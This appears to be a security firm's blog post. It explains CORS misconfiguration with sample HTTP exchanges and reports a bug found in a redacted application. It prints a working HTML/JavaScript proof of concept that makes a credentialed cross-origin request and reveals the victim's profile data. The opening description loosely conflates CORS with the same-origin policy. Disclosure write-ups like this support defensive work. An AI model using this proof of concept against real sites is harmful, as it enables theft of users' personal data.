Cross-origin resource sharing (CORS) is a security feature implemented by web browsers to prevent websites from making requests to a different domain than the one that served the web page. This is done to prevent malicious websites from accessing sensitive information on other websites.
CORS allows a server to specify which origins (websites) are allowed to access its resources by adding specific headers to the HTTP response. When a browser receives a request from a website, it checks the headers to see if the origin of the request is allowed to access the resource. If the origin is not allowed, the browser will block the request and prevent the website from accessing the resource.
Ex:
GET /sensitiveData HTTP/1.1
Host: vulnerable.com
Origin: https://evil.com
In this example, the browser sends an HTTP GET request to the server at vulnerable.com, requesting sensitive data. The “Origin” header in the request is set to https://evil.com, indicating that the request is coming from the domain https://evil.com.
The server at vulnerable.com checks the “Origin” header and determines whether or not to allow the request. In this example, the server has decided to allow the request, and sends back an HTTP response with the following headers:
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://evil.com
Access-Control-Allow-Credentials: true
The “Access-Control-Allow-Origin” header in the response specifies that https://evil.com is allowed to access the resource. The “Access-Control-Allow-Credentials” header is set to true, which means that the browser can include credentials (such as cookies) with the request.
Above example is vulnerable as the server at vulnerable.com is allowing requests from any origin without proper validation. In this example, the server is simply checking the “Origin” header and allowing requests from https://evil.com without any further validation. This could potentially allow an attacker from the domain https://evil.com to access sensitive data from vulnerable.com.
That was more of the theory part. Now let’s jump into the vulnerability I found on one of the web application:
In the application, the user details can be extracted easily using the CORS misconfiguration. After saving the profile the API was called and the information was saved. But the Origin header was also sent with the HTTP request and the server also responds with the two headers as discussed above. I changed the origin header is given below:
Origin: evil.com
The server responds with:
Access-Control-Allow-Origin: evil.com
Access-Control-Allow-Credentials: true
I immediately created a working POC for exploitation. Below is the HTML code needed to prove that attacker can extract information by just sending the below code to the victim. For not disclosing the web application let’s call the website as redacted.com!
<!DOCTYPE html>
<html>
<head>
<script>
function cors() {
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
document.getElementById("demo").innerHTML = alert(this.responseText);
}
};
xhttp.open("GET", "https://redacted.com/auth/user", true);
xhttp.withCredentials = true;
xhttp.send();
}
</script>
</head>
<body>
<center>
<h2>CORS PoC Exploit </h2>
<h3>created by <a href="https://twitter.com/aman__gupta_">@aman__gupta_</a></h3>
<div id="demo">
<button type="button" onclick="cors()">Exploit</button>
</div>
</body>
</html>
Save the file as cors.html and open it in the browser. As you can see sensitive information like email, username, id is disclosed in response.
How Securitybulls will assist you
Our researchers spend most of their time analysing the occurrence of such misconfigurations with human intelligence without using automated-scanners, then apply it to recognise the same in your applications. We never rely on automated scanners to find vulnerabilities; instead, we will apply our years of research to dig deeper and provide you with an appropriate blueprint to remediate any future security flaws. Let’s get in touch to understand our approach in depth.